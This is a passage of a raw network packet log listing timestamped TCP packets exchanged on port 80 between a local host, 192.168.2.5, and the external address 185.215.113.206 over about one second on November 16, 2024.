Nov 16, 2024 23:36:15.769814014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769833088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769835949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769835949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769849062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769855976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769865990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769882917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769881964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769881964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769901037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769902945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769920111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769939899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769951105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769968033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769983053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769998074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770010948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770011902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770010948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770032883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770044088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770051956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770061970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770077944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770095110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770095110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770109892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770118952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770118952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770126104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770147085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770152092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770152092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770164013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770178080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770178080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770180941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770196915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770203114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770214081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770217896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770236015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770237923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770252943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770267963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770268917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770293951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770294905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770293951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770313978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770323038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770337105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770339012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770354986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770361900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770373106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770380020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770390034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770412922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770414114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770412922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770431995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.770441055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770467043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.770467043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.881721020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.881742954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.881761074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.881779909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.881793022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.881877899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.881877899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920423985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920459032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920484066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920499086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920522928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920521975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920543909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920553923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920562029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920586109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920588970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920603037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920608044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920620918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920634031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920639038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920665026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920680046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920681953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920681953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920682907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920697927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920703888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920715094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920723915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920733929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920738935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920756102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920762062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920773029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920779943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920795918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920803070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920814037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920829058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920840025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920840025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920845985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920860052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920872927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920872927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920886040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920892954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920905113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920911074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920932055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920936108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920936108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920949936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920968056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920984030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.920990944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920990944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.920999050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921006918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921027899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921030998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921056986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921068907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921068907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921072960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921091080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921097040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921108007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921112061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921124935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921124935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921139956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921140909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921156883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921159983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921174049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921175957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921192884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921207905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921207905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921210051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921227932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921230078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921247005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921253920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921271086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921274900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921298981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921308994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921312094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921330929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921348095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921359062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921366930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921375990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921392918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921399117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921411037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921415091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921439886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921457052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921473026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921478987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921492100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921523094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921523094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921523094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921523094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921533108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921546936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921565056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921602011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921621084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921703100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921719074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921734095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921747923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921751022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921771049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921771049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921775103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921783924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921802044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921818018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921818018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921834946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921843052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921849966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921853065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921869993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921871901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921888113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921899080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921904087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921919107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921920061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921927929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921937943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.921947002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921967030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.921976089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922451019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922467947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922482967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922498941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922498941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922507048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922523975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922525883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922530890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922542095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922558069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922561884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922574043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922580004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922591925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922593117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922614098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922621012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922633886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922638893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922655106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922663927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922672987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922677994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922689915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922689915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922704935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922708035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922727108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922733068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922735929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922753096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922769070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922770023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922786951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922790051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922808886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922811985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922821999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922828913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922853947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922854900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922862053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922872066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922888994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922898054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922907114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922921896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922921896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922930956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922939062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922945023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922956944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922961950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922969103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.922974110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922991037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.922993898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923000097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923017025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923031092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923037052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923046112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923058033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923063993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923072100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923080921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923082113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923099041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923100948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923115969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923120022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923129082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923134089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923151016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923152924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923167944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.923171997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923180103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.923202038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.924599886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.924616098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.924632072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.924645901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.924650908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.924664974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.924669027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.924683094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.924686909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.924709082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.924719095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925307035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925323009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925348043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925354004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925362110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925364971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925385952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925391912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925400019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925412893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925430059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925430059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925445080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925451994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925462961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925465107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925482988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925488949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925502062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925507069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925517082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925530910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925539017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925550938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925609112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925625086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925640106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925654888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925662041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925663948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925681114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925681114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925702095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925708055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925714970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.925724983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925739050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.925744057 CET	49704	80	192.168.2.5	185.215.113.206
